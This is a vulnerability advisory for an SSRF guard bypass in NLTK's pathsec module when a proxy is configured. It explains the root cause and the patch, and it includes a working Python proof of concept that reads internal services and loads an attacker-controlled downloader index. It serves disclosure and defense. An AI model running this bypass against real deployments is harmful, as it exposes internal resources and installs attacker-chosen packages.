CVE-2026-78682: NLTK pathsec SSRF Protection Bypass via HTTP Proxy
NLTK's built-in SSRF guard can be completely bypassed when an HTTP proxy is configured, letting an attacker route a seemingly safe public URL through the proxy to any internal-only service.

The problem
nltk.pathsec.urlopen validates the requested hostname locally before opening the connection. When a proxy is configured, the actual fetch is delegated to that proxy via inherited ProxyHandler instances, which replace the safe _SafeHTTPHandler and _SafeHTTPSHandler that enforce the IP-pinning logic.
Because the proxy performs the real egress, the validated hostname never matches the actual destination reached. Any caller trusting pathsec as an SSRF barrier in a proxied environment is fully exposed: internal HTTP resources can be read, forged downloader indexes can be loaded, and attacker-chosen package content can be installed via Downloader.index() and Downloader.download().
Proof of concept
A working proof-of-concept for CVE-2026-78682 in nltk, with the exact payload below.
import os
import urllib.request
import nltk.pathsec as pathsec
# Precondition: attacker controls a proxy that forwards
# requests for the validated public IP to an internal target.
# The internal server listens on 127.0.0.1:18080 and
# serves secret content. The proxy is at 127.0.0.1:18081.
os.environ["http_proxy"] = "http://127.0.0.1:18081"
# pathsec validates 93.184.216.34 (example.com) -- passes.
# The proxy silently forwards to the loopback service instead.
response = pathsec.urlopen("http://93.184.216.34/")
print(response.read()) # prints internal secret content
# Same bypass works through the higher-level APIs:
import nltk.data
nltk.data.load("http://93.184.216.34/corpus.zip") # reads internal ZIP
from nltk.downloader import Downloader
d = Downloader(server_index_url="http://93.184.216.34/index.xml")
d.index() # parses attacker-controlled internal index
d.download("punkt") # installs attacker-chosen contentThe root cause is a confused deputy pattern (CWE-441 / CWE-918): pathsec performs hostname validation, then hands the request to urllib's opener. When a ProxyHandler is present in the global opener, urllib copies it into the request chain and marks the request as proxied, which causes it to skip _SafeHTTPHandler and _SafeHTTPSHandler entirely.
Those handlers are what pin the connection to the pre-validated IP address. Without them, the actual TCP egress goes wherever the proxy decides to send it.
The patch removes the pretense that NLTK can validate egress through a proxy. Under ENFORCE=True, any proxied fetch now raises PermissionError immediately. Operators who trust their proxy can opt back in by setting NLTK_ALLOW_PROXIED_URLOPEN=1 or nltk.pathsec.ALLOW_PROXIED_FETCH=True.
Under ENFORCE=False the refusal degrades to a warning. Both environment-inherited proxies and explicitly constructed ProxyHandler instances are covered by this fix.
The fix
Upgrade to nltk 3.10.3 (commit 767333a005a1cd3d82d2029215f2dbe66a5844d9). Under ENFORCE=True, proxied fetches now raise PermissionError unless the opt-in flag NLTK_ALLOW_PROXIED_URLOPEN=1 (env) or nltk.pathsec.ALLOW_PROXIED_FETCH=True (runtime) is explicitly set.
If you cannot upgrade immediately, set nltk.pathsec.ENFORCE=True to ensure any policy violation fails closed rather than emitting a warning and proceeding.
Related research
- high · 8.6CVE-2026-12075CVE-2026-12075: nltk DNS-Rebinding SSRF Filter Bypass
- high · 7.5CVE-2026-62384CVE-2026-62384: NLTK FramenetCorpusReader Symlink Sandbox Bypass
- highCVE-2026-79676CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)
- highCVE-2026-79674CVE-2026-79674: NLTK Corpus Reader Constructor pathsec Sandbox Bypass